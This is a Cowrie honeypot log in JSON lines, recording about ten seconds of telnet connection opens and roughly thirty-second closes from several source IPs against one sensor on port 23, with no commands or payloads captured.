{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45394,"dst_ip":"159.203.135.109","dst_port":23,"session":"e461f3b9fd60","protocol":"telnet","message":"New connection: 81.30.157.18:45394 (159.203.135.109:23) [session: e461f3b9fd60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.275005Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":33486,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8e2f1d1da5d","protocol":"telnet","message":"New connection: 85.208.100.77:33486 (159.203.135.109:23) [session: b8e2f1d1da5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.470593Z"}
{"eventid":"cowrie.session.closed","duration":30.621593475341797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.495259Z","src_ip":"168.119.91.149","session":"a2d184f674ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":33792,"dst_ip":"159.203.135.109","dst_port":23,"session":"6048614185aa","protocol":"telnet","message":"New connection: 85.208.100.77:33792 (159.203.135.109:23) [session: 6048614185aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.609968Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":49806,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0147fa2977d","protocol":"telnet","message":"New connection: 149.102.133.101:49806 (159.203.135.109:23) [session: d0147fa2977d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.765241Z"}
{"eventid":"cowrie.session.closed","duration":31.156049013137817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:16.810434Z","src_ip":"149.102.133.101","session":"0212c7c3fe7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91104006767273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:17.066551Z","src_ip":"37.187.24.227","session":"0ade63feab46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817623376846313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:17.079165Z","src_ip":"85.208.100.77","session":"866239189eb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45404,"dst_ip":"159.203.135.109","dst_port":23,"session":"b84b08bbafcd","protocol":"telnet","message":"New connection: 81.30.157.18:45404 (159.203.135.109:23) [session: b84b08bbafcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:17.190747Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45416,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d161e1380b","protocol":"telnet","message":"New connection: 81.30.157.18:45416 (159.203.135.109:23) [session: 05d161e1380b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:17.366761Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34362,"dst_ip":"159.203.135.109","dst_port":23,"session":"78b96909eaa8","protocol":"telnet","message":"New connection: 168.119.91.149:34362 (159.203.135.109:23) [session: 78b96909eaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:17.376621Z"}
{"eventid":"cowrie.session.closed","duration":31.03974199295044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:17.500929Z","src_ip":"168.119.91.149","session":"e4f393b1eed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34449338912964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:17.523379Z","src_ip":"168.119.91.149","session":"1c457eae1adc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57813549041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:17.661671Z","src_ip":"168.119.91.149","session":"82c8bff31f3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":36012,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e9e74069f3f","protocol":"telnet","message":"New connection: 85.208.100.77:36012 (159.203.135.109:23) [session: 6e9e74069f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:17.719647Z"}
{"eventid":"cowrie.session.closed","duration":30.535834074020386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:18.065338Z","src_ip":"81.30.157.18","session":"6d3acbefc41d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37207007408142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:18.079946Z","src_ip":"81.30.157.18","session":"88e4beef6701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81322693824768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:18.102341Z","src_ip":"37.187.24.227","session":"704b4fcf6d39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021212100982666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:18.161417Z","src_ip":"209.126.84.114","session":"fe2bdcbfb52e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34394,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f44dec8aae8","protocol":"telnet","message":"New connection: 168.119.91.149:34394 (159.203.135.109:23) [session: 1f44dec8aae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:18.289107Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45430,"dst_ip":"159.203.135.109","dst_port":23,"session":"887f86d49e1b","protocol":"telnet","message":"New connection: 81.30.157.18:45430 (159.203.135.109:23) [session: 887f86d49e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:18.557896Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":49820,"dst_ip":"159.203.135.109","dst_port":23,"session":"488414d0b47c","protocol":"telnet","message":"New connection: 149.102.133.101:49820 (159.203.135.109:23) [session: 488414d0b47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:18.563868Z"}
{"eventid":"cowrie.session.closed","duration":30.418102979660034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.045952Z","src_ip":"81.30.157.18","session":"bf2ae3f6516b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98055934906006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.053577Z","src_ip":"37.187.24.227","session":"7fc6d912a307","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.485170125961304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.061630Z","src_ip":"37.187.24.227","session":"16348f970c92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01283621788025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.128226Z","src_ip":"149.102.133.101","session":"caac5c0f46bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78672981262207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.306051Z","src_ip":"147.135.136.77","session":"eb0880e8f60a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45444,"dst_ip":"159.203.135.109","dst_port":23,"session":"80bd16a0dcc4","protocol":"telnet","message":"New connection: 81.30.157.18:45444 (159.203.135.109:23) [session: 80bd16a0dcc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.353332Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50800,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba9ae067cc36","protocol":"telnet","message":"New connection: 147.135.136.77:50800 (159.203.135.109:23) [session: ba9ae067cc36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.369365Z"}
{"eventid":"cowrie.session.closed","duration":31.153528928756714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.428887Z","src_ip":"46.101.32.143","session":"0e2e2df4f3b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47025179862976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.487899Z","src_ip":"168.119.91.149","session":"c3a472382d10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":58942,"dst_ip":"159.203.135.109","dst_port":23,"session":"22818ef3bfcd","protocol":"telnet","message":"New connection: 168.119.91.149:58942 (159.203.135.109:23) [session: 22818ef3bfcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.831513Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45452,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dc370b78ad9","protocol":"telnet","message":"New connection: 81.30.157.18:45452 (159.203.135.109:23) [session: 9dc370b78ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.836858Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":51440,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0fdbf551b9e","protocol":"telnet","message":"New connection: 46.101.32.143:51440 (159.203.135.109:23) [session: f0fdbf551b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:19.981331Z"}
{"eventid":"cowrie.session.closed","duration":31.810457468032837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:20.003362Z","src_ip":"147.135.136.77","session":"21c2ae0811ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8593270778656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:20.051635Z","src_ip":"37.187.24.227","session":"5eeeb362047d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679731607437134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:20.070709Z","src_ip":"81.30.157.18","session":"ad92eb996d81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00986099243164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:20.077551Z","src_ip":"81.30.157.18","session":"6a38b01f55ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":58956,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd1d7e13ffee","protocol":"telnet","message":"New connection: 168.119.91.149:58956 (159.203.135.109:23) [session: cd1d7e13ffee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:20.090826Z"}
{"eventid":"cowrie.session.closed","duration":30.79950261116028,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:20.196014Z","src_ip":"149.102.133.101","session":"2def781e1e39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.170128107070923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:20.234246Z","src_ip":"81.30.157.18","session":"b5e2bc25f872","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727405548095703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:20.613413Z","src_ip":"168.119.91.149","session":"669963735902","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":49836,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d75edf435f3","protocol":"telnet","message":"New connection: 149.102.133.101:49836 (159.203.135.109:23) [session: 1d75edf435f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:20.815165Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45460,"dst_ip":"159.203.135.109","dst_port":23,"session":"c836a04951f7","protocol":"telnet","message":"New connection: 81.30.157.18:45460 (159.203.135.109:23) [session: c836a04951f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:20.984562Z"}
{"eventid":"cowrie.session.closed","duration":30.477139711380005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:21.047300Z","src_ip":"81.30.157.18","session":"ffef581174b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701499938964844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:21.055330Z","src_ip":"81.30.157.18","session":"2b9c71e47076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59734272956848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:21.089477Z","src_ip":"81.30.157.18","session":"9e2a3589274f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41428279876709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:21.122080Z","src_ip":"149.102.133.101","session":"c049255018f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":40974,"dst_ip":"159.203.135.109","dst_port":23,"session":"25fe3ec6689e","protocol":"telnet","message":"New connection: 37.187.24.227:40974 (159.203.135.109:23) [session: 25fe3ec6689e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:21.295386Z"}
{"eventid":"cowrie.session.closed","duration":31.156774282455444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:21.377472Z","src_ip":"147.135.136.77","session":"52c60ea59e92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78506636619568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:21.471833Z","src_ip":"168.119.91.149","session":"c09164f9ad58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.402599096298218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:21.477175Z","src_ip":"168.119.91.149","session":"15a29dba0005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59637761116028,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:22.047718Z","src_ip":"81.30.157.18","session":"655444a4a6df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":53936,"dst_ip":"159.203.135.109","dst_port":23,"session":"22e29fcc3084","protocol":"telnet","message":"New connection: 46.101.32.143:53936 (159.203.135.109:23) [session: 22e29fcc3084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:22.194719Z"}
{"eventid":"cowrie.session.closed","duration":30.438364028930664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:22.200958Z","src_ip":"81.30.157.18","session":"cf24796e1d43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":49846,"dst_ip":"159.203.135.109","dst_port":23,"session":"1837dac02cd4","protocol":"telnet","message":"New connection: 149.102.133.101:49846 (159.203.135.109:23) [session: 1837dac02cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:22.331489Z"}
{"eventid":"cowrie.session.closed","duration":30.834324836730957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:22.473597Z","src_ip":"168.119.91.149","session":"bdd7c3d90bb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":54324,"dst_ip":"159.203.135.109","dst_port":23,"session":"54faeeb641f3","protocol":"telnet","message":"New connection: 46.101.32.143:54324 (159.203.135.109:23) [session: 54faeeb641f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:22.576327Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":58958,"dst_ip":"159.203.135.109","dst_port":23,"session":"790f3a41e64b","protocol":"telnet","message":"New connection: 168.119.91.149:58958 (159.203.135.109:23) [session: 790f3a41e64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:22.652472Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":44620,"dst_ip":"159.203.135.109","dst_port":23,"session":"d63d65cbc577","protocol":"telnet","message":"New connection: 37.187.24.227:44620 (159.203.135.109:23) [session: d63d65cbc577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:22.792324Z"}
{"eventid":"cowrie.session.closed","duration":30.79736852645874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:23.122634Z","src_ip":"81.30.157.18","session":"6fb987a6a0a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.628618717193604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:23.127632Z","src_ip":"37.187.24.227","session":"d3ac0c839374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40189528465271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:23.180789Z","src_ip":"149.102.133.101","session":"9fa7b14cd084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":54890,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a70d1cf895c","protocol":"telnet","message":"New connection: 46.101.32.143:54890 (159.203.135.109:23) [session: 1a70d1cf895c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:23.237016Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":55004,"dst_ip":"159.203.135.109","dst_port":23,"session":"928748c13b07","protocol":"telnet","message":"New connection: 46.101.32.143:55004 (159.203.135.109:23) [session: 928748c13b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:23.304002Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":48306,"dst_ip":"159.203.135.109","dst_port":23,"session":"65d01c902502","protocol":"telnet","message":"New connection: 206.189.139.22:48306 (159.203.135.109:23) [session: 65d01c902502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:23.530854Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":45462,"dst_ip":"159.203.135.109","dst_port":23,"session":"438c3973d47c","protocol":"telnet","message":"New connection: 81.30.157.18:45462 (159.203.135.109:23) [session: 438c3973d47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:23.862213Z"}
{"eventid":"cowrie.session.closed","duration":30.746153831481934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:24.093251Z","src_ip":"37.187.24.227","session":"241c26eab093","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38746,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc54ca95a963","protocol":"telnet","message":"New connection: 81.30.157.18:38746 (159.203.135.109:23) [session: dc54ca95a963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:24.327202Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38758,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d872ffda2e","protocol":"telnet","message":"New connection: 81.30.157.18:38758 (159.203.135.109:23) [session: 73d872ffda2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:24.503478Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":58974,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff985b22aad","protocol":"telnet","message":"New connection: 168.119.91.149:58974 (159.203.135.109:23) [session: aff985b22aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:24.647133Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":58982,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd585b6c1386","protocol":"telnet","message":"New connection: 168.119.91.149:58982 (159.203.135.109:23) [session: fd585b6c1386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:24.847402Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":58992,"dst_ip":"159.203.135.109","dst_port":23,"session":"94f275057a98","protocol":"telnet","message":"New connection: 168.119.91.149:58992 (159.203.135.109:23) [session: 94f275057a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:24.920436Z"}
{"eventid":"cowrie.session.closed","duration":31.09501624107361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:25.042230Z","src_ip":"168.119.91.149","session":"826e56e3d39c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835628271102905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:25.063112Z","src_ip":"37.187.24.227","session":"0c7f2bc685c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80884313583374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:25.070213Z","src_ip":"37.187.24.227","session":"97ff0e2a8ff5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.643256425857544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:25.184962Z","src_ip":"46.101.32.143","session":"29138f250b0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.424341201782227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:25.264468Z","src_ip":"85.208.100.77","session":"6180ab73eff9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95295000076294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:25.276013Z","src_ip":"85.208.100.77","session":"2c500725e885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":44494,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bc2d1f9d321","protocol":"telnet","message":"New connection: 82.163.78.83:44494 (159.203.135.109:23) [session: 4bc2d1f9d321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:25.662582Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38764,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd1b6fd62665","protocol":"telnet","message":"New connection: 81.30.157.18:38764 (159.203.135.109:23) [session: cd1b6fd62665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:25.855270Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59000,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a9d44bdb8cd","protocol":"telnet","message":"New connection: 168.119.91.149:59000 (159.203.135.109:23) [session: 9a9d44bdb8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:25.900284Z"}
{"eventid":"cowrie.session.closed","duration":30.19344663619995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:26.064418Z","src_ip":"37.187.24.227","session":"67efe8c6f178","protocol":"telnet"}
